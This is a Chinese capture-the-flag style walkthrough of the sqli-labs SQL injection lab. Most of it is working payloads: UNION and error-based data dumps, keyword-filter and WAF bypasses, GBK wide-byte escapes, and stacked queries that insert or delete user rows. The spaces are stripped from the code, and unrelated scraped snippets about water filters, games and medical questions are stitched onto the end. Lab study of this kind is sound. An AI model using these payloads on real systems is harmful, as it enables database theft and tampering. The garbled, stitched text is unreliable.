Sqlilabszesiar0

id=-1'unionselect1,2,group_concat(schema_name)frominformation_schema.schemata--+表名id=-1'unionselect1,2,group_concat(table_name)frominformation_schema.tableswheretable_schema='ctftraining'--+列名id=-1'unionselect1,2,group_concat(column_name)frominformation_schema.columnswheretable_schema='ctftraining'andtable_name='flag'--+flagid=-1'unionselect1,2,flagfromctftraining.flag--+Less-3进阶,在拼接语句中多添加了'()'

id=1')orderby3--+库名id=-1')unionselect1,2,group_concat(schema_name)frominformation_schema.schemata--+后面的类似,不多重复

进阶,将原来拼接的单引号改为双引号,再拼接'()'

id=1")orderby3--+库名id=-1")unionselect1,2,group_concat(schema_name)frominformation_schema.schemata--+后面的类似,不多重复

id=1orderby3--+库名id=-1unionselect1,2,group_concat(schema_name)frominformation_schema.schemata--+表名id=-1unionselect1,2,group_concat(table_name)frominformation_schema.tableswheretable_schema='ctftraining'--+列名id=-1unionselect1,2,group_concat(column_name)frominformation_schema.columnswheretable_schema='ctftraining'andtable_name='flag'--+flagid=-1unionselect1,2,flagfromctftraining.flag--+布尔盲注Less-5没有任何回显,输入单引号报错,拼接语句应有单引号

这里使用Python脚本进行猜解

**进阶,这里拼接语句将单引号改为双引号脚本如上

和Less-5一样放一个比较好的脚本库名

放个脚本,输入结果随机,很奇怪

这里就是加了个括号,脚本里添加就行,不放脚本了

不过很奇怪的是,Less-28同样的payload却没有报错

写脚本猜解

**进阶,将拼接语句的单引号改为双引号

放出Python脚本,这里需要每个库的查

这个是以POST方式传参,找到注入点,是在password处

1'andextractvalue('1',concat('~',(selectgroup_concat(schema_name)frominformation_schema.schemata)))#长度有限制,可以通过limit调整一下

1'andextractvalue('1',concat('~',(selectgroup_concat(table_name)frominformation_schema.tables)))#列名1'andextractvalue('1',concat('~',(selectgroup_concat(column_name)frominformation_schema.columns)))#flag1'andextractvalue('1',concat('~',(selectflagfromctftraining.flag)))#这里长度受到限制,使用limit获取全部信息

**进阶,将拼接语句的单引号改成双引号,再添加了一个'()'

1")andextractvalue('1',concat('~',(selectgroup_concat(schema_name)frominformation_schema.schemata))#后面类似,不再重复

进阶,拼接语句添加了一个'()'

这是sql的查询语句

@$sql="SELECTusername,passwordFROMusersWHEREusername=('$uname')andpassword=('$passwd')LIMIT0,1";库名1')andextractvalue('1',concat('~',(selectgroup_concat(schema_name)frominformation_schema.schemata)))and('后面类似,不再重复

进阶,这里拼接语句为双引号,没有'()'

sql查询语句与上面类似

1"andextractvalue('1',concat('~',(selectgroup_concat(schema_name)frominformation_schema.schemata)))and"后面类似,不再重复

进阶,这里用的是updatexml报错注入,这里的长度也会受到限制

1'andupdatexml('1',concat('~',(selectgroup_concat(schema_name)frominformation_schema.schemata)),'1')#后面的类似,不再重复

进阶,过滤了所有的注释

这里可以通过闭合后面的语句,不通过注释的方法

1'andextractvalue(1,concat('~',(selectgroup_concat(schema_name)frominformation_schema.schemata)))and'1'='1后面的类似,不再重复

进阶,这里过滤了or和and

因为这里用到了preg_replace函数,所以通过双写的方式进行注入。要注意的是在information和password中存在or,所以也应该进行双写进行绕过若非一次性过滤,就可以考虑一些变形:

1'aandndextractvalue(1,concat('~',(selectgroup_concat(schema_name)frominfoorrmation_schema.schemata)))--+也可以通过联合注入的方式注入

这里过滤了很多东西,过滤了'#','*','or','and','--','','/',空格

因为过滤了空格,只好用报错注入,因为空格少,并且可以用'()'代替空格,or和and可以分别用'||','&&'。实验了一下,双写也是可以绕过的,中间可以不需要空格

1'||(extractvalue(1,concat('~',(select(group_concat(schema_name))from(infoorrmation_schema.schemata)))||'1'='1表名1'||(extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.schemata)where(table_schema='ctftraining'))))))||'1'='1列名1'||(extractvalue(1,concat('~',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='ctftraining')anandd(table_name='flag')))))||'1'='1不过有些地方的双写不能绕过过滤,暂时不清楚原因

这里过滤了'\*','--','#',空格,'union','select','UNION','SELECT','Union','Select'

过滤的比较多,用报错注入

1'and(extractvalue(1,concat('~',(SElect(group_concat(schema_name))from(information_schema.schemata)))))and'1'='1这里的and不能用&&替代,离谱。后面的类似,就不再重复了

UPDATEusersSETpasswd="New_Pass"WHEREusername='admin'#'ANDpassword='也就相当于执行了

UPDATEusersSETpasswd="New_Pass"WHEREusername='admin'#修改的账号就变为了admin的账号

这里先讲一下,服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务的是php服务器。工作流程为:client访问服务器,能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。数据返回路径则相反。apache(php)解析最后一个参数,即显示id=2的内容。Tomcat(jsp)解析第一个参数,即显示id=1的内容。

通俗一点就是前面的参数在tomcat服务器出做数据过滤和处理,类似于一个WAF。而正因为解析参数的不同,我们此处可以利用该原理绕过WAF的检测。该用法就是HPP。

所以这里可以传两个参数,一个绕过WAF,后面一个用于攻击

id=1&id=-1'unionselectdatabase()--+后面就是最简单的注入了

这里的原因和上面相同,区别是这道题没有回显,且闭合符号是双引号

脚本如下:

脚本与上面类似,修改一下即可

源码中写了一个check_addslashes()函数对一些字符进行转义

functioncheck_addslashes($string){$string=preg_replace('/'.preg_quote('\\').'/',"\\\\\\",$string);//escapeanybackslash$string=preg_replace('/\'/i','\\\'',$string);//escapesinglequotewithabackslash$string=preg_replace('/\"/',"\\\"",$string);//escapedoublequotewithabackslashreturn$string;}因为这里使用的是gbk编码,所以可以在转义的字符前加上%df,就可以跳出转义限制

-1%df'unionselect1,2,group_concat(schema_name)frominformation_schema.schemata--+后面类似就不再重复

这道题与上道题一样,转义函数的源码不一样

所以和上道题一样的payload,不再重复

这题使用的POST的方式提交的,因为POST不像GET方式会自动对url进行转码,所以payload和之前不一样,这里用到的是'UTF-8'转为'UTF-16'的方式,不过暂时还没有搞懂

-1'unionselect1,group_concat(schema_name)frominformation_schema.schemata#后面就不再重复了

这题是数字型的注入,所以不存在单引号完全可以绕过转义函数,所以可以直接进行注入且没有任何过滤

这题的转义函数换了一个,变成了mysql_real_escape_string(),意思差不多

-1%df'unionselect1,2,group_concat(schema_name)frominformation_schema.schemata--+后面不再重复

还是换汤不换药,换了个函数,意思还是一样的

-1%df'unionselect1,2,group_concat(schema_name)frominformation_schema.schemata--+不再重复

这里最关键的是mysqli_multi_query()这个函数,它可以执行一个或多个对数据库的查询,用分号隔开

这里后面的语句好像不可以爆数据,那就执行插入操作

-1'unionselect1,2,group_concat(username)fromusers;insertintousersvalues(18,'zeng','zeng')--+

这道题是数字型的,payload和上面一样

不再重复了

这道题写的布尔盲注,不过貌似都可以,那就按它的来。它的闭合语句是单引号+'()'

Python脚本如下,插入'zeng1'

这道题是数字型的注入,脚本一样,不再重复了

这道题在username处不报错,在password处报错,所以可以在password处注入

这里我们删除一个字段

1';deletefromuserswhereusername='zeng'--+

这里拼接语句加了括号,其他一样,就不再重复了

这题的拼接语句为:

$sql="SELECT*FROMusersORDERBY$id";所以联合注入一些和堆叠注入用不了,只能使用报错注入

1andextractvalue(1,concat(0x7e,(selectgroup_concat(schema_name)frominformation_schema.schemata)))--+后面不再重复

这道题拼接语句多了单引号,其它一样

payload和上面差不多不再重复了

rand函数的布尔盲注

rand(left((selectgroup_concat(schema_name)frominformation_schema.schemata),1)='i')--+脚本还没有成功,先放着

这道题是字符型的注入,和上题一样

这道题是数字型+堆叠注入,插入数据试一下

1;insertintousersvalues(9,'zeng','zeng')--+

**这道题是字符型的注入,payload和上面类似,就不再重复了

这道题可以插入数据,也可以布尔盲注,和上面一样,不知道在考什么

布尔盲注插入数据

这道题是字符型的,其它和上面一样

这道题是字符型注入,只不过被限制了注入次数

-1'unionselect1,2,group_concat(schema_name)frominformation_schema.schemata--+表名-1'unionselect1,2,group_concat(table_name)frominformation_schema.tableswheretable_schema='challenges'--+字段名-1'unionselect1,2,group_concat(column_name)frominformation_schema.columnswheretable_schema='challenges'andtable_nam='354H7B3C3G'--+密码-1'unionselect1,2,secret_EPGPfromchallenges.354H7B3C3G--+Less-55这题是数字型的,并且闭合语句加了'()',其它和上面一样,不再重复了

这题是字符型的,和上面一样,不再重复

这题闭合语句是双引号,不再重复

这题很特殊,它把所有用户名都放在了一个数组中

if($row){ echo''; $unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4"); $pass=array_reverse($unames); echo'YourLoginname:'.$unames[$row['id']]; echo"
"; echo'YourPassword:'.$pass[$row['id']]; echo"";}所以一般的联合注入不行,这题用报错注入,不再重复

这题是数字型的,其它没区别,不再重复

这题闭合符号位双引号,其它没区别,不再重复

这题闭合符号位单引号再嵌套两个括号,其它一样不再重复

这题是盲注且闭合语句为单引号+'()',不存在过滤,但是因为存在注入次数限制,最好用二分法查询最快,脚本就不放了

THE END
1.过滤某东西的英文过滤某东西翻译过滤某东西英语怎么说海词词典,最权威的学习词典,专业出版过滤某东西的英文,过滤某东西翻译,过滤某东西英语怎么说等详细讲解。海词词典:学习变容易,记忆很深刻。http://dict.cn/%E8%BF%87%E6%BB%A4%E6%9F%90%E4%B8%9C%E8%A5%BF
2.时间会帮你过滤掉不属于自己的东西财富号时间会帮你过滤掉不属于自己的东西 四大权益礼包,开户即送 #时间会帮你过滤掉不属于你的东西 感谢每个阶段不同的自己 感谢每个时间节点 都能稳稳守心的自己 余生,一直干净阳光 普照,众生https://caifuhao.eastmoney.com/news/20230220221838786649240
3.家里装前置过滤器,到底是什么东西,真的好用吗?净水机满足的是家庭洗菜、做饭直接饮水的需求,前置过滤器满足的是全屋用水、洗脸、洗衣服等。 前置过滤器主要过滤一些40微米大颗粒的物质,但是对水里面的细菌、重金属元素、消毒液等细微的东西是没办法过滤的。 先通过前置过滤器把自来水当中的大颗粒杂质过滤一遍,然后再通过净水器进行净化、消毒。 http://www.wheelton.cn/h-nd-205.html
4.被下水道过滤的东西划伤脚,需要打破伤风吗有问必答一般只要是受到了外伤从安全的角度上讲都是建议注射破伤风疫苗的,尤其您这个东西还不是很干净,建议您...https://www.120ask.com/question/92146003.htm
5.彭佳慧《回味》:时间会帮你过滤掉不属于你的东西欢迎收听蜻蜓FMAsia New Music专辑下的音频节目彭佳慧《回味》:时间会帮你过滤掉不属于你的东西,主播:。在这里“彭佳慧《回味》:时间会帮你过滤掉不属于你的东西”免费在线听,而且您可以下载蜻蜓FM,该音频节目对应Asia New Musicmp3全集都可下载和收藏,随时随地在线收https://www.qingting.fm/channels/412991/programs/24622780
1.逃离塔科夫空气过滤单元放什么东西逃离塔科夫空气过滤单元放什么东西 《逃离塔科夫(Escape from Tarkov)》是一款颇受玩家喜爱的射击游戏,其中玩家需要在游戏中生存并逃离一个虚构的俄罗斯城市。在游戏中,玩家需要收集各种物品并利用它们来生存。而空气过滤单元是一个重要的装备,在游戏中可以帮助过滤掉有害气体,让玩家能够呼吸清新的空气。https://www.chihuogu.com/gonglue/39121.html
2.胎盘能过滤不好的东西吗?真实医生回答胎盘能过滤不好的东西吗!?!!! 周岩医生 胎盘和母血是不相通的,隔着几层膜。但大部分物质都能很轻松通过胎盘 患者 象母体吃一些不好的东西也会让宝宝吃到吧! 周岩医生 是的 周岩医生 小分子物质都能很轻松通过胎盘,如大部分药物、病毒等。你吃了什么东西? 患者 像...https://www.chunyuyisheng.com/pc/qa/aheBa7erviQaBTFBtrXr-Q/
3.processmonitor过滤某个东西超级慢怎么办过滤filterprocessmonitor过滤某个东西超级慢怎么办 过滤filter Filter过滤器 概念:当访问服务器的资源时,过滤器可以将请求拦截下来,完成一些特殊的功能(响应同样又会被拦截) 用途:登录验证、统一编码处理、敏感词过滤等 Filter快速入门 >>> 配置拦截路径有两种方式:web.xml / 注解 (这里使用注解,比较方便)...https://blog.51cto.com/u_13019/11110158
4.我想问大家的是,0.22μm有机系尼龙的过滤器是针对什么东西的过滤...0.22的一般都是滤掉细菌、微生物的。有机系的当然可以过有机溶剂体系的东西了。至于你那个酸,应该没...https://wenda.guidechem.com/question/detail892168.html
5.洗衣机过滤网里面的脏东西怎样清理灶具焚烧针方位不妥,要想点着火,则灶具对焚烧针与火盖的间隔是有一定的要求的,一旦违背间隔过多就会形成灶具打不着火。解决方法很简单,一般来说焚烧针与火盖的间隔是4-6mm,而且要对准火孔。 3、集成灶管道堵塞 这是一个很常见的问题,一旦管道堵塞,这是就要检查出气阀,一般来说能闻到煤气味而灶具打不着火就很...https://www.zmnoa.com/news/xiyiji/70598/
6.content过滤任何东西 content-filter器不依赖于NoSQL。 您可以出于过滤目的使用任何东西。 另外,您只能过滤URL或正文数据。 请参阅使用中的,,和。动机使用像MongoDB这样的NoSQL数据库开发项目时会存在一些风险。 第一个关于URL,另一个关于req.body的内容。 (由允许的用户发送数据) 网址风险如果恶意用户试图入侵您的数据库...https://download.csdn.net/download/weixin_42169674/19139197
7.净水器过滤后水里的脏东西都去哪儿了?我们购买净水器,就是看中了它能过滤水中的有害物质,可以让我们喝上用上干净的水,保障我们的身体健康。 净水器的作用,就是阻挡水污染,保障饮用水的安全。 但,问题来了,净水器过滤后,这些被过滤了的水里的脏东西都去了哪里了呢?! 净水器如果不能排污,意味着水中的脏东西都留在了净水器的滤芯里。而且,净水器...https://m.chinachugui.com/co/litree/news-1-799831.html
8.水过滤器里面珠子是什么东西艾特环保着力为各行业解决油品过滤...公司建立了客户定制回访制度,产品设备按照合同约定交付客户后,公司会对客户进行定期回访,了解客户在使用产品设备过程中遇到的各项问题以及操作生产上需要提供的支持,充分了解客户对产品设备的要求,进而持续不断的改进公司产品,确保为客户提供更符合客户要求的产品,水过滤器里面珠子是什么东西。 互联网时代,艾特环保虽然是一...https://www.aiteep.com/news/d_607d14be8ff1be008c707011.html